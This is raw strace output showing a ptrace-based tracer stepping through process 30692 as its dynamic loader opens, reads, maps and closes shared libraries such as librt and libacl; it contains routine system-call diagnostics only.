	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
	write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
	write(2, ") = -1 ENOENT (No such file"..., 47) = 47
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7fecb93]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fecb90, [0x2f62696c2f00312e]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fecb98, [0x6f732e747262696c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fecba0, [0x747262696c00312e]) = 0
	write(2, "open(\"/lib/librt.so.1\", O_RDONLY", 32) = 32
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
	write(2, ") = 3\n", 12) = 12
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffdb08]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
	write(2, "read(3, ", 8) = 8
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb08, [0x10102464c457f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb10, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb18, [0x1003e0003]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb20, [0x2190]) = 0
	write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 81) = 81
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd9a0]) = 0
	write(2, "fstat(3, ", 9) = 9
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a0, [0x801]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a8, [0x20b3f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b0, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b8, [0x81a4]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d0, [0x7c00]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d8, [0x1000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e0, [0x40]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e8, [0x4d81a77b]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f0, [0x494e8e1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f8, [0x4d39feae]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda00, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda08, [0x4d8055e9]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda10, [0xecc2d69]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda18, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda20, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda28, [0]) = 0
	write(2, "{st_mode=S_IFREG|0644, st_size=3"..., 48) = 48
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x207bd0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 2128848, PROT_READ|PR"..., 72) = 72
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff79b6000]) = 0
	write(2, ") = 0x7ffff79b6000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff79bd000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1ff000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	write(2, "mprotect(0x7ffff79bd000, 2093056"..., 43) = 43
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7bbc000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x6000]) = 0
	write(2, "mmap(0x7ffff7bbc000, 8192, PROT_"..., 95) = 95
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7bbc000]) = 0
	write(2, ") = 0x7ffff7bbc000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	write(2, "close(3", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
	write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
	write(2, ") = -1 ENOENT (No such file"..., 47) = 47
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ff662b]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff6628, [0x2f62696c2f00312e]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff6630, [0x732e6c636162696c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff6638, [0x6162696c00312e6f]) = 0
	write(2, "open(\"/lib/libacl.so.1\", O_RDONL"..., 33) = 33
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
	write(2, ") = 3\n", 11) = 11
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffdad8]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
	write(2, "read(3, ", 8) = 8
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdad8, [0x10102464c457f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdae0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdae8, [0x1003e0003]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdaf0, [0x1d90]) = 0
	write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 83) = 83
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd970]) = 0
	write(2, "fstat(3, ", 9) = 9
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd970, [0x801]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd978, [0x209fe]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd980, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd988, [0x81a4]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd990, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd998, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a0, [0x79e8]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a8, [0x1000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b0, [0x40]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b8, [0x4d821b31]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c0, [0x28582bb8]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c8, [0x4c0e9430]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d8, [0x4d340da7]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e0, [0xc7fb8ea]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f8, [0]) = 0
	write(2, "{st_mode=S_IFREG|0644, st_size=3"..., 48) = 48
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 4096, PROT_READ|PROT_"..., 71) = 71
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
